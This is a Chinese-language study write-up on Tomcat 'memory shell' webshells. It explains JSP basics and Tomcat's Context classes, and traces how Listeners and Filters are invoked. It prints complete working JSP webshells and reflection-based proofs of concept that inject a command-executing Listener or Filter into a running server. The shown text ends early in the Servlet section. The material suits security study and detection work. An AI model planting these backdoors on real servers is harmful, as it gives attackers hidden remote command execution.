java内存马学习

基础知识

Java内存马系列-01-基础内容学习

JSP

在正式学习内存马之前,我们先来简单了解一下jsp

JSP环境搭建

根据网上一位师傅的文章进行搭建的:Servlet 项目搭建

JSP的语法

脚本程序

脚本程序可以包含任意量的Java语句、变量、方法或表达式,只要它们在脚本语言中是有效的。脚本程序的格式如下

1
<% 代码片段 %>

其等价于下面的XML语句

1
2
3
<jsp:scriptlet>
代码片段
</jsp:scriptlet>

下面是使用示例

1
2
3
4
5
6
7
8
9
10
11
12
13
<%@ page contentType="text/html; charset=UTF-8" pageEncoding="UTF-8" %>
<!DOCTYPE html>
<html>
<head>
<title>JSP - Hello World</title>
</head>
<body>
<h1><%= "Hello World!" %></h1>
<br/>
<h2>Hello World!!!</h2>
<% out.println("GoodBye!"); %>
</body>
</html>

image-20250508202903245

JSP声明

一个声明语句可以声明一个或多个变量、方法,供后面的Java代码使用。JSP声明语句格式如下

1
<%! 声明  %>

同样等价于下面的XML语句

1
2
3
<jsp:declaration>
代码片段
</jsp:declaration>

下面是使用示例

1
2
3
4
5
6
7
<html>
<body>
<h2>Hello World!!!</h2>
<%! String s= "GoodBye!"; %>
<% out.println(s); %>
</body>
</html>

JSP表达式

如果JSP表达式中为一个对象,则会自动调用其toString()方法。格式如下,注意表达式后没有;

1
<%= 表达式  %>

等价于下面的XML表达式

1
2
3
<jsp:expression>
表达式
</jsp:expression>

下面是使用示例

1
2
3
4
5
6
7
8
9
<html>
<body>
<h2>Hello World!!!</h2>
<p>
<% String name = "Sherlock"; %>
username:<%=name%>
</p>
</body>
</html>

image-20250508203327421

JSP指令

JSP指令用来设置与整个JSP页面相关的属性。下面有三种JSP指令

指令 描述
<%@ page … %> 定义页面的依赖属性,比如脚本语言、error页面、缓存需求等等
<%@ include … %> 包含其他文件
<%@ taglib … %> 引入标签库的定义,可以是自定义标签

比如我们能通过page指令来设置jsp页面的编码格式:<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>

1
2
3
4
5
6
7
8
9
10
 <%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<html>
<body>
<h2>Hello World!!!</h2>
<p>
<% String name = "枫"; %>
用户名:<%=name%>
</p>
</body>
</html>

JSP注释

格式如下

1
<%-- 注释内容 --%>

JSP内置对象

JSP有九大内置对象,他们能够在客户端和服务器端交互的过程中分别完成不同的功能。其特点如下

  • 由 JSP 规范提供,不用编写者实例化
  • 通过 Web 容器实现和管理
  • 所有 JSP 页面均可使用
  • 只有在脚本元素的表达式或代码段中才能使用
对象 类型 描述
request javax.servlet.http.HttpServletRequest 获取用户请求信息
response javax.servlet.http.HttpServletResponse 响应客户端请求,并将处理信息返回到客户端
response javax.servlet.jsp.JspWriter 输出内容到 HTML 中
session javax.servlet.http.HttpSession 用来保存用户信息
application javax.servlet.ServletContext 所有用户共享信息
config javax.servlet.ServletConfig 这是一个 Servlet 配置对象,用于 Servlet 和页面的初始化参数
pageContext javax.servlet.jsp.PageContext JSP 的页面容器,用于访问 page、request、application 和 session 的属性
page javax.servlet.jsp.HttpJspPage 类似于 Java 类的 this 关键字,表示当前 JSP 页面
exception java.lang.Throwable 该对象用于处理 JSP 文件执行时发生的错误和异常;只有在 JSP 页面的 page 指令中指定 isErrorPage 的取值 true 时,才可以在本页面使用 exception 对象

JSP木马

我们先来看看传统的JSP木马是如何实现的

1
<% Runtime.getRuntime().exec(request.getParameter("cmd"));%>

上面是最简单的一句话木马,没有回显,适合用来反弹shell。下面是一个带回显的JSP木马

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<% if(request.getParameter("cmd")!=null){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();

BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(in));
String line;
PrintWriter printWriter = response.getWriter();
printWriter.write("<pre>");
while ((line = bufferedReader.readLine()) != null){
printWriter.println(line);
}
printWriter.write("</pre>");

}
%>

传统的JSP木马特征性强,且需要文件落地,容易被查杀。因此现在出现了内存马技术。Java内存马又称”无文件马”,相较于传统的JSP木马,其最大的特点就是无文件落地,存在于内存之中,隐蔽性强。

Java内存马按照实现原理大致可以分为如下两种

  • 利用Java Web组件:动态添加恶意组件,如Servlet、Filter、Listener等。在Spring框架下就是Controller、Intercepter。
  • 修改字节码:利用Java的Instrument机制,动态注入Agent,在Java内存中动态修改字节码,在HTTP请求执行路径中的类中添加恶意代码,可以实现根据请求的参数执行任意代码。

Tomcat 中的三个 Context 的理解

Context

context是上下文的意思,在java中经常能看到这个东西。那么到底是什么意思呢?

根据yzddmr6师傅的理解,如果把某次请求比作电影中的事件,那么context就相当于事件发生的背景。例如一部电影中的某个镜头中,张三大喊“奥利给”,但是只看这一个镜头我们不知道到底发生了什么,张三是谁,为什么要喊“奥利给”。所以就需要交代当时事情发生的背景。张三是吃饭前喊的奥利给?还是吃饭后喊的奥利给?因为对于同一件事情:张三喊奥利给这件事,发生的背景不同意义可能是不同的。吃饭前喊奥利给可能是饿了的意思,吃饭后喊奥利给可能是说吃饱了的意思。

在WEB请求中也如此,在一次request请求发生时,背景,也就是context会记录当时的情形:当前WEB容器中有几个filter,有什么servlet,有什么listener,请求的参数,请求的路径,有没有什么全局的参数等等。

ServletContext

Servlet规范中规定了一个ServletContext接口,其用来保存一个Web应用中所有Servlet的上下文信息,可以通过ServletContext来对某个Web应用的资源进行访问和操作。其在Java中的具体实现是javax.servlet.ServletContext接口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
package javax.servlet;


import java.io.InputStream;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.Enumeration;
import java.util.EventListener;
import java.util.Map;
import java.util.Set;
import javax.servlet.ServletRegistration.Dynamic;
import javax.servlet.descriptor.JspConfigDescriptor;


public interface ServletContext {
String TEMPDIR = "javax.servlet.context.tempdir";

String getContextPath();
ServletContext getContext(String var1);
int getMajorVersion();
int getMinorVersion();
int getEffectiveMajorVersion();
int getEffectiveMinorVersion();
String getMimeType(String var1);
Set getResourcePaths(String var1);
URL getResource(String var1) throws MalformedURLException;
InputStream getResourceAsStream(String var1);
RequestDispatcher getRequestDispatcher(String var1);
RequestDispatcher getNamedDispatcher(String var1);
/** @deprecated */
Servlet getServlet(String var1) throws ServletException;
/** @deprecated */
Enumeration getServlets();
/** @deprecated */
Enumeration getServletNames();
void log(String var1);
/** @deprecated */
void log(Exception var1, String var2);
void log(String var1, Throwable var2);
String getRealPath(String var1);
String getServerInfo();
String getInitParameter(String var1);
Enumeration getInitParameterNames();
boolean setInitParameter(String var1, String var2);
Object getAttribute(String var1);
Enumeration getAttributeNames();

void setAttribute(String var1, Object var2);

void removeAttribute(String var1);

String getServletContextName();

Dynamic addServlet(String var1, String var2);

Dynamic addServlet(String var1, Servlet var2);


Dynamic addServlet(String var1, Class var2);

extends Servlet> T createServlet(Classvar1) throws ServletException;

ServletRegistration getServletRegistration(String var1);

Map ? extends ServletRegistration> getServletRegistrations();

javax.servlet.FilterRegistration.Dynamic addFilter(String var1, String var2);

javax.servlet.FilterRegistration.Dynamic addFilter(String var1, Filter var2);

javax.servlet.FilterRegistration.Dynamic addFilter(String var1, Class var2);

extends Filter> T createFilter(Classvar1) throws ServletException;
FilterRegistration getFilterRegistration(String var1);
Map ? extends FilterRegistration> getFilterRegistrations();
SessionCookieConfig getSessionCookieConfig();
void setSessionTrackingModes(Setvar1);

Set getDefaultSessionTrackingModes();

Set getEffectiveSessionTrackingModes();

void addListener(String var1);
extends EventListener> void addListener(T var1);

void addListener(Class var1);
extends EventListener> T createListener(Classvar1) throws ServletException;
JspConfigDescriptor getJspConfigDescriptor();
ClassLoader getClassLoader();
void declareRoles(String... var1);
}

可以看到ServletContext接口中定义了很多操作,能对Servlet中的各种资源进行访问、添加、删除等

ApplicationContext

在Tomcat中,ServletContext接口的具体实现就是ApplicationContext类,其实现了ServletContext接口中定义的一些方法

image-20250508205954325

Tomcat这里使用了门面模式,对ApplicationContext类进行了封装,我们调用getServletContext()方法获得的其实是ApplicationContextFacade

1
2
3
4
5
6
7
8
public ApplicationContextFacade(ApplicationContext context) {
super();
this.context = context;

classCache = new HashMap<>();
objectCache = new ConcurrentHashMap<>();
initClassCache();
}

ApplicationContextFacade类方法中都会调用this.context相应的方法,因此最终调用的还是ApplicationContext类的方法

StandardContext

org.apache.catalina.core.StandardContext是子容器Context的标准实现类,其中包含了对Context子容器中资源的各种操作。四种子容器都有其对应的标准实现如下

img

而在ApplicationContext类中,对资源的各种操作实际上是调用了StandardContext中的方法

image-20250508214526387

总结

我们可以用一张图来表示各Context的关系

image-20250508214641745

ServletContext接口的实现类为ApplicationContext类和ApplicationContextFacade类,其中ApplicationContextFacade是对ApplicationContext类的包装。我们对Context容器中各种资源进行操作时,最终调用的还是StandardContext中的方法,因此StandardContext是Tomcat中负责与底层交互的Context

Tomcat内存马

Tomcat内存马大致可以分为三类,分别是Listener型、Filter型、Servlet型。Tomcat内存马的核心原理就是动态地将恶意组件添加到正在运行的Tomcat服务器中

而这一技术的实现有赖于官方对Servlet3.0的升级,Servlet在3.0版本之后能够支持动态注册组件。而Tomcat直到7.x才支持Servlet3.0,因此通过动态添加恶意组件注入内存马的方式适合Tomcat7.x及以上

Listener型

根据以上思路,我们的目标就是在服务器中动态注册一个恶意的Listener。而Listener根据事件源的不同,大致可以分为如下几种

  • ServletContextListener:对Servlet上下文的创建和销毁进行监听; ServletContextAttributeListener:监听 Servlet 上下文属性的添加、删除和替换;
  • HttpSessionListener:对 Session 对象中属性的添加、删除和替换进行监听
  • ServletRequestListener:对请求对象的初始化和销毁进行监听; ServletRequestAttributeListener:对请求对象属性的添加、删除和替换进行监听
  • HttpSessionListener:对 Session 的创建和销毁进行监听。Session 的销毁有两种情况,一个中 Session 超时,还有一种是通过调用 Session 对象的 invalidate() 方法使 session 失效

很明显,ServletRequestListener是最适合用来作为内存马的。因为ServletRequestListener是用来监听ServletRequest对象的,当我们访问任意资源时,都会触发ServletRequestListener#requestInitialized()方法。下面是一个恶意的Listener

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
package Listener;

import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.annotation.WebListener;
import javax.servlet.http.HttpServletRequest;
import java.io.IOException;

@WebListener
public class Shell_Listener implements ServletRequestListener{
@Override
public void requestInitialized(ServletRequestEvent sre) {
HttpServletRequest request = (HttpServletRequest) sre.getServletRequest();
String cmd = request.getParameter("cmd");
if (cmd != null) {
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
e.printStackTrace();
} catch (NullPointerException n) {
n.printStackTrace();
}
}
}
}

访问任意路由都可进行恶意的get传参执行弹计算器

image-20250509195206532

接下来就是要看如何把该恶意的Listener动态注册进服务器了,所以我们需要分析一下Listener的创建过程

创建过程

先下一个断点,再进行调试,调用栈如下所示

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
requestInitialized:13, Shell_Listener (Listener)
fireRequestInitEvent:5157, StandardContext (org.apache.catalina.core)
invoke:116, StandardHostValve (org.apache.catalina.core)
invoke:93, ErrorReportValve (org.apache.catalina.valves)
invoke:660, AbstractAccessLogValve (org.apache.catalina.valves)
invoke:74, StandardEngineValve (org.apache.catalina.core)
service:346, CoyoteAdapter (org.apache.catalina.connector)
service:388, Http11Processor (org.apache.coyote.http11)
process:63, AbstractProcessorLight (org.apache.coyote)
process:936, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1791, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:52, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1190, ThreadPoolExecutor (org.apache.tomcat.util.threads)
run:659, ThreadPoolExecutor$Worker (org.apache.tomcat.util.threads)
run:63, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:748, Thread (java.lang)

我们一步步往上看,首先是StandardContext#fireRequestInitEvent调用了我们的Listener,我们跟进看一手

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
public boolean fireRequestInitEvent(ServletRequest request) {

Object instances[] = getApplicationEventListeners();

if ((instances != null) && (instances.length > 0)) {

ServletRequestEvent event =
new ServletRequestEvent(getServletContext(), request);

for (int i = 0; i < instances.length; i++) {
if (instances[i] == null)
continue;
if (!(instances[i] instanceof ServletRequestListener))
continue;
ServletRequestListener listener =
(ServletRequestListener) instances[i];

try {
listener.requestInitialized(event);
} catch (Throwable t) {
ExceptionUtils.handleThrowable(t);
getLogger().error(sm.getString(
"standardContext.requestListener.requestInit",
instances[i].getClass().getName()), t);
request.setAttribute(RequestDispatcher.ERROR_EXCEPTION, t);
return false;
}
}
}
return true;
}

关键代码有两处,首先通过getApplicationEventListeners()获取一个Listener数组

image-20250509201456735

再跟进applicationEventListenersList发现Listener是存储在*applicationEventListenersList*属性中的

image-20250509201618402

并且我们可以通过StandardContext#addApplicationEventListener()方法来添加Listener

1
2
3
public void addApplicationEventListener(Object listener) {
applicationEventListenersList.add(listener);
}

第二处就是遍历数组调用listener.requestInitialized(event)方法触发Listener

获取StandardContext类

继续往上走,在调用StandardContext#fireRequestInitEvent方法之前我们需要先创建一个StandardContext对象,看堆栈是在StandardHostValve#invoke中,可以看到其通过request对象来获取StandardContext

image-20250509202014309

同样地,由于JSP内置了request对象,我们也可以使用同样的方式来获取

1
2
3
4
5
6
<%
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext context = (StandardContext) req.getContext();
%>

还有另一种获取方式如下

1
2
3
4
<%
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
%>

而恶意的Listener如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<%!
public class Shell_Listener implements ServletRequestListener {

public void requestInitialized(ServletRequestEvent sre) {
HttpServletRequest request = (HttpServletRequest) sre.getServletRequest();
String cmd = request.getParameter("cmd");
if (cmd != null) {
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
e.printStackTrace();
} catch (NullPointerException n) {
n.printStackTrace();
}
}
}

public void requestDestroyed(ServletRequestEvent sre) {
}
}
%>

最后添加该Listener

1
2
3
4
<%
Shell_Listener shell_Listener = new Shell_Listener();
context.addApplicationEventListener(shell_Listener);
%>

完整poc

从上述分析我们就可以总结出来实现Listener木马的步骤如下:

  • 首先我们需要先获取一个StandardContext类
  • 接着我们需要写一个恶意的Listener
  • 最后我们要把该Listener添加进去

所以完整的poc如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.connector.Request" %>

<%!
public class Shell_Listener implements ServletRequestListener {

public void requestInitialized(ServletRequestEvent sre) {
HttpServletRequest request = (HttpServletRequest) sre.getServletRequest();
String cmd = request.getParameter("cmd");
if (cmd != null) {
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
e.printStackTrace();
} catch (NullPointerException n) {
n.printStackTrace();
}
}
}

public void requestDestroyed(ServletRequestEvent sre) {
}
}
%>
<%
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext context = (StandardContext) req.getContext();

Shell_Listener shell_Listener = new Shell_Listener();
context.addApplicationEventListener(shell_Listener);
%>

我们测试一手,先访问Listener.jsp页面,让其代码进行加载

image-20250509203314295

此时Tomcat已经添加了我们恶意的Listener,访问任意路由即可触发

image-20250509203415250

Filter型

仿照Listener型内存马的实现思路,我们同样能实现Filter型内存马

当多个 Filter 同时存在的时候,组成了 Filter 链。Web 服务器根据 Filter 在 web.xml 文件中的注册顺序,决定先调用哪个 Filter。当第一个 Filter 的 doFilter 方法被调用时,web服务器会创建一个代表 Filter 链的 FilterChain 对象传递给该方法,通过判断 FilterChain 中是否还有 Filter 决定后面是否还调用 Filter

image-20250509210106908

我们先写一个恶意的Filter

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
package Filter;

import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
import java.io.IOException;

@WebFilter("/*")
public class Shell_Filter implements Filter {
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
String cmd = request.getParameter("cmd");
if (cmd != null) {
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
e.printStackTrace();
} catch (NullPointerException n) {
n.printStackTrace();
}
}
chain.doFilter(request, response);
}
}

测试,成功弹出计算器

image-20250509210440779

那么我们接下来一样是要看下它的创建过程

Filter调用分析

打上断点,调用栈如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
doFilter:11, Shell_Filter (Filter)
internalDoFilter:168, ApplicationFilterChain (org.apache.catalina.core)
doFilter:144, ApplicationFilterChain (org.apache.catalina.core)
invoke:168, StandardWrapperValve (org.apache.catalina.core)
invoke:90, StandardContextValve (org.apache.catalina.core)
invoke:482, AuthenticatorBase (org.apache.catalina.authenticator)
invoke:130, StandardHostValve (org.apache.catalina.core)
invoke:93, ErrorReportValve (org.apache.catalina.valves)
invoke:660, AbstractAccessLogValve (org.apache.catalina.valves)
invoke:74, StandardEngineValve (org.apache.catalina.core)
service:346, CoyoteAdapter (org.apache.catalina.connector)
service:388, Http11Processor (org.apache.coyote.http11)
process:63, AbstractProcessorLight (org.apache.coyote)
process:936, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1791, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:52, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1190, ThreadPoolExecutor (org.apache.tomcat.util.threads)
run:659, ThreadPoolExecutor$Worker (org.apache.tomcat.util.threads)
run:63, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:748, Thread (java.lang)

跟进ApplicationFilterChain#internalDoFilter

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
private void internalDoFilter(ServletRequest request,
ServletResponse response)
throws IOException, ServletException {

// Call the next filter if there is one
if (pos < n) {
ApplicationFilterConfig filterConfig = filters[pos++];
try {
Filter filter = filterConfig.getFilter();

if (request.isAsyncSupported() && "false".equalsIgnoreCase(
filterConfig.getFilterDef().getAsyncSupported())) {
request.setAttribute(Globals.ASYNC_SUPPORTED_ATTR, Boolean.FALSE);
}
if( Globals.IS_SECURITY_ENABLED ) {
final ServletRequest req = request;
final ServletResponse res = response;
Principal principal =
((HttpServletRequest) req).getUserPrincipal();

Object[] args = new Object[]{req, res, this};
SecurityUtil.doAsPrivilege ("doFilter", filter, classType, args, principal);
} else {
filter.doFilter(request, response, this);
}
}
...
}

在该函数里面调用了doFilter方法,而filter是通过filterConfig.getFilter()获得的,filterConfig是通过ApplicationFilterConfig filterConfig = filters[pos++];获取到的

一个filterConfig对应一个Filter,用于存储Filter的上下文信息。这里的*filters*属性是一个ApplicationFilterConfig数组

所以我们要看*ApplicationFilterChain.filters*数组是怎么获取到的,其定义如下

1
private ApplicationFilterConfig[] filters = new ApplicationFilterConfig[0];

跟一下,是在ApplicationFilterChain#addFilter函数中进行的赋值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
void addFilter(ApplicationFilterConfig filterConfig) {

// Prevent the same filter being added multiple times
for(ApplicationFilterConfig filter:filters)
if(filter==filterConfig)
return;

if (n == filters.length) {
ApplicationFilterConfig[] newFilters =
new ApplicationFilterConfig[n + INCREMENT];
System.arraycopy(filters, 0, newFilters, 0, n);
filters = newFilters;
}
filters[n++] = filterConfig;

}

查找该函数的用法,在ApplicationFilterChain#createFilterChain中初始化了一个ApplicationFilterChain类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
public static ApplicationFilterChain createFilterChain(ServletRequest request,
Wrapper wrapper, Servlet servlet) {

...
// Request dispatcher in use
filterChain = new ApplicationFilterChain();

filterChain.setServlet(servlet);
filterChain.setServletSupportsAsync(wrapper.isAsyncSupported());

// Acquire the filter mappings for this Context
StandardContext context = (StandardContext) wrapper.getParent();
FilterMap filterMaps[] = context.findFilterMaps();

...

String servletName = wrapper.getName();

// Add the relevant path-mapped filters to this filter chain
for (FilterMap filterMap : filterMaps) {

...
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)
context.findFilterConfig(filterMap.getFilterName());
...

filterChain.addFilter(filterConfig);
}

...

// Return the completed filter chain
return filterChain;
}

而该函数的调用就在在StandardWrapperValve#invoke()方法中,位于调用栈里面

分析一波createFilterChain函数,能够清晰地看到filterChain对象的创建过程

  1. 首先通过filterChain = new ApplicationFilterChain()创建一个空的filterChain对象
  2. 然后通过wrapper.getParent()函数来获取StandardContext对象
  3. 接着获取StandardContext中的FilterMaps对象,FilterMaps对象中存储的是各Filter的名称路径等信息
  4. 最后根据Filter的名称,在StandardContext中获取FilterConfig
  5. 通过filterChain.addFilter(filterConfig)将一个filterConfig添加到filterChain

上述步骤中filterConfig是通过(ApplicationFilterConfig)context.findFilterConfig(filterMaps[i].getFilterName());

获取到的,跟进findFilterConfig方法

1
2
3
public FilterConfig findFilterConfig(String name) {
return (filterConfigs.get(name));
}

是从StandardContext的属性filterConfigs中获取到的filterConfig

filterConfigs的定义如下

image-20250510163622713

看手ApplicationFilterConfig类是如何构建的,下面写内存马的时候会用到

image-20250510163719640

FilterConfigs、FilterDefs和FilterMaps

跟进到createFilterChain函数中,我们能看到此时的上下文对象StandardContext实际上是包含了这三者的

image-20250510162542808

其中filterConfigs包含了当前的上下文信息StandardContext、以及filterDef等信息

image-20250510162642579

在这其中filterDef存放了filter的定义,包括filterClass、filterName等信息。对应的其实就是web.xml中的<filter>标签

image-20250510162805134

1
2
3
4
<filter>
<filter-name></filter-name>
<filter-class></filter-class>
</filter>

filterDef必要的属性为filterfilterClass以及filterName

filterDefs是一个HashMap,以键值对的形式存储filterDef

image-20250510163052563\

filterMaps中以array的形式存放各filter的路径映射信息,其对应的是web.xml中的<filter-mapping>标签

image-20250510163134033

1
2
3
4
<filter-mapping>
<filter-name></filter-name>
<url-pattern></url-pattern>
</filter-mapping>

filterMaps必要的属性为dispatcherMappingfilterNameurlPatterns

于是下面的工作就是构造含有恶意filter的FilterMaps和FilterConfig对象,并将FilterConfig添加到filter链中了。

动态注册Filter

经过上面的分析,我们可以总结出动态添加恶意Filter的思路

  1. 获取StandardContext对象
  2. 创建恶意Filter
  3. 使用FilterDef对Filter进行封装,并添加必要的属性
  4. 创建filterMap类,并将路径和Filtername绑定,然后将其添加到filterMaps中
  5. 使用ApplicationFilterConfig封装filterDef,然后将其添加到filterConfigs中

获取StandardContext对象

StandardContext对象主要用来管理Web应用的一些全局资源,如Session、Cookie、Servlet等。因此我们有很多方法来获取StandardContext对象。

Tomcat在启动时会为每个Context都创建个ServletContext对象,来表示一个Context,从而可以将ServletContext转化为StandardContext。

1
2
3
4
5
6
7
8
9
10
11
12
//获取ApplicationContextFacade类
ServletContext servletContext = request.getSession().getServletContext();

//反射获取ApplicationContextFacade类属性context为ApplicationContext类
Field appContextField = servletContext.getClass().getDeclaredField("context");
appContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);

//反射获取ApplicationContext类属性context为StandardContext类
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);

创建恶意Filter

1
2
3
4
5
6
7
8
9
10
11
12
13
public class Shell_Filter implements Filter {

public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
String cmd=request.getParameter("cmd");
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
e.printStackTrace();
}catch (NullPointerException n){
n.printStackTrace();
}
}
}

使用FilterDef封装filter

1
2
3
4
5
6
7
//filter名称
String name = "CommonFilter";
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(filterDef);

创建filterMap

filterMap用于filter和路径的绑定,即动态配置访问内存马的路由

1
2
3
4
5
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);

封装filterConfig及filterDef到filterConfigs

1
2
3
4
5
6
7
8
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);

Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
filterConfigs.put(name, filterConfig);

完整POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="java.util.Map" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>


<%
ServletContext servletContext = request.getSession().getServletContext();
Field appContextField = servletContext.getClass().getDeclaredField("context");
appContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
%>

<%! public class Shell_Filter implements Filter {
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
String cmd = request.getParameter("cmd");
if (cmd != null) {
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
e.printStackTrace();
} catch (NullPointerException n) {
n.printStackTrace();
}
}
chain.doFilter(request, response);
}
}
%>

<%
Shell_Filter filter = new Shell_Filter();
String name = "CommonFilter";
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(filterDef);


FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);


Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);

Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
filterConfigs.put(name, filterConfig);
%>

先访问jsp木马

image-20250510164016432

在任意路由进行测试,成功弹出计算器

image-20250510164129082

Servlet型

首先要对Tomcat的架构有一定的了解

image-20250512111732090

同样,先来一个恶意的Servlet

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
package Servlet;

import javax.servlet.*;
import javax.servlet.annotation.WebServlet;
import java.io.IOException;

@WebServlet("/shell")
public class Shell_Servlet implements Servlet {
@Override
public void init(ServletConfig config) throws ServletException {

}

@Override
public ServletConfig getServletConfig() {
return null;
}

@Override
public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
String cmd = req.getParameter("cmd");
if (cmd !=null){
try{
Runtime.getRuntime().exec(cmd);
}catch (IOException e){
e.printStackTrace();
}catch (NullPointerException n){
n.printStackTrace();
}
}
}

@Override
public String getServletInfo() {
return null;
}

@Override
public void destroy() {

}
}

测试之后成功弹出计算器

接下来同样我们需要思考要怎么动态注册Servlet,所以先看一下它的创建过程

创建过程

我们知道Servlet的生命周期分为如下五部分

  1. 加载:当Tomcat第一次访问Servlet的时候,Tomcat会负责创建Servlet的实例
  2. 初始化:当Servlet被实例化后,Tomcat会调用init()方法初始化这个对象
  3. 处理服务:当浏览器访问Servlet的时候,Servlet 会调用service()方法处理请求
  4. 销毁:当Tomcat关闭时或者检测到Servlet要从Tomcat删除的时候会自动调用destroy()方法,让该实例释放掉所占的资源。一个Servlet如果长时间不被使用的话,也会被Tomcat自动销毁
  5. 卸载:当Servlet调用完destroy()方法后,等待垃圾回收。如果有需要再次使用这个Servlet,会重新调用init()方法进行初始化操作

Java Web三大件的加载顺序为Listener->Filter->Servlet

